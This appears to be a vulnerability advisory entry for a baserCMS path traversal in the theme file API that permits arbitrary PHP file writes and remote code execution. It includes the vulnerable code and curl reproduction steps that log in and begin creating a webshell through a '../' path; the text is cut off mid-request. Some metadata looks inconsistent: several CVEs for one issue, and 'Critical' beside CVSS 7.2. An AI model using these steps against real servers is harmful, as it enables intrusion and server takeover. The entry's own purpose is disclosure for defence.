baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API
Date: 2026-03
Affected: composer/baserproject/basercms
Attack vector: path-traversal
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2026-21861
CVE-2026-27697
CVE-2026-30879
CVE-2026-30940
CWE: CWE-22
CWE-73
CWE-78
CWE-79
CWE-89
CVSS: 7.2 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

## Summary A path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write. An authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). ## Affected Code **File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php` ```php public function getFullpath(string $theme, string $plugin, string $type, string $path) { // ... return $viewPath . $type . DS . $path; // $path is not sanitized } ``` ## Attack Scenario 1. The attacker compromises an administrator account (password leak, brute force, etc.) 2. Obtains an access token via API login 3. Specifies `path: "../../../../webroot/"` in the theme file creation API 4. A PHP file is created in the webroot 5. The attacker accesses the created PHP file to achieve RCE ## Reproduction Steps ```bash # 1. Login curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \ -H "Content-Type: application/json" \ -d '{"email":"admin@example.com","password":"password"}' # 2. Create webshell curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{ "theme": "BcThemeSample", "plugin": "", "type": "layout", "path": "../../../../webr


Mitigations:

Architectural layers (MAESTRO):